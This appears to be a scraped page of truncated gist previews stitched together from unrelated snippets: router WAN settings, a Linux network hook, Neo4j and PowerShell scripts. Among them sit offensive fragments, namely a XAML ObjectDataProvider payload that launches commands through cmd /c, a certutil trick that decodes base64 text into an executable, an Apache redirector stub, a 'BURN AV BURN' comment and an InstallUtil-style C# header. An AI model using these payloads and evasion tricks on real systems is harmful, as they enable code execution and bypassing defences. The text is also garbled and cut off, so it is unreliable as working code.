Setup > WAN Setup > WAN Connection Type: DHCP Authentication
DHCP Client ID: 686940736b7964736c7c6162636465666768 DHCP IPV6 Client ID: 686940736b7964736c7c6162636465666768
IPV6 > IPv6Support > IPv6 Type : DHCPv6 with Prefix Delegation
## | |
#/etc/networkd-dispatcher/no-carrier.d/50-ifdown-hooks | |
## | |
#!/bin/bash | |
enable_disable_wifi () | |
{ | |
if [ "$IFACE" == "enp0s25" ]; then | |
echo "$(date) - $IFACE down wifi unblocked" | |
rfkill unblock wifi |
Setup > WAN Setup > WAN Connection Type: DHCP Authentication
DHCP Client ID: 686940736b7964736c7c6162636465666768 DHCP IPV6 Client ID: 686940736b7964736c7c6162636465666768
IPV6 > IPv6Support > IPv6 Type : DHCPv6 with Prefix Delegation
String cmd = "ping 127.0.0.1"; | |
String payload = @"<ResourceDictionary xmlns:System=""clr-namespace:System;assembly=mscorlib"" xmlns=""http://schemas.microsoft.com/winfx/2006/xaml/presentation"" xmlns:sd=""clr-namespace:System.Diagnostics;assembly=System"" xmlns:x=""http://schemas.microsoft.com/winfx/2006/xaml""><ObjectDataProvider ObjectType=""sd:Process"" MethodName=""Start"" x:Key=""LaunchCalc""><ObjectDataProvider.MethodParameters><System:String>cmd</System:String><System:String>/c """ + cmd + @"""</System:String></ObjectDataProvider.MethodParameters></ObjectDataProvider></ResourceDictionary>"; |
Wireless > Advanced Settings > Bluetooth Coexistence Mode - Set to Disabled | |
Use DNS server: | |
https://github.com/barronwaffles/dwc_network_server_emulator/wiki |
Define REDIR_TARGET example.com | |
RewriteEngine On | |
RewriteOptions Inherit | |
# Uncomment the below line for verbose logging, including seeing which rule matched. | |
#LogLevel alert rewrite:trace5 | |
# BURN AV BURN | |
MATCH (u:user) | |
WITH u, apoc.text.join(apoc.coll.randomItems(split("abcdefghijklmnopqrstuvwxyz0123456789",""), 12, true),"") as identifier | |
SET u.name=identifier | |
RETURN COUNT(u) |
RETURN apoc.text.join(apoc.coll.randomItems(split("abcdefghijklmnopqrstuvwxyz0123456789",""), 12, true),"") |
$path = "C:\data\sysvol_results.csv" | |
$inStream = new-object System.IO.FileStream($path, [System.IO.FileMode]::Open); | |
$outStream = new-object System.IO.FileStream("$($path).gz", [System.IO.FileMode]::CreateNew); | |
$compressionStream = new-object System.IO.Compression.GZipStream($outStream, [System.IO.Compression.CompressionMode]::Compress); | |
$inStream.CopyTo($compressionStream); | |
$inStream.Close(); | |
$compressionStream.Close(); | |
$outStream.Close(); |
using System; | |
using System.IO; | |
using System.Text; | |
using System.Collections.Generic; | |
using System.Configuration.Install; | |
using System.Runtime.InteropServices; | |
/* |
echo -----BEGIN CERTIFICATE----- > encoded.txt | |
echo Just Base64 encode your binary data | |
echo TVoAAA== >> encoded.txt | |
echo -----END CERTIFICATE----- >> encoded.txt | |
certutil -decode encoded.txt decoded.bin |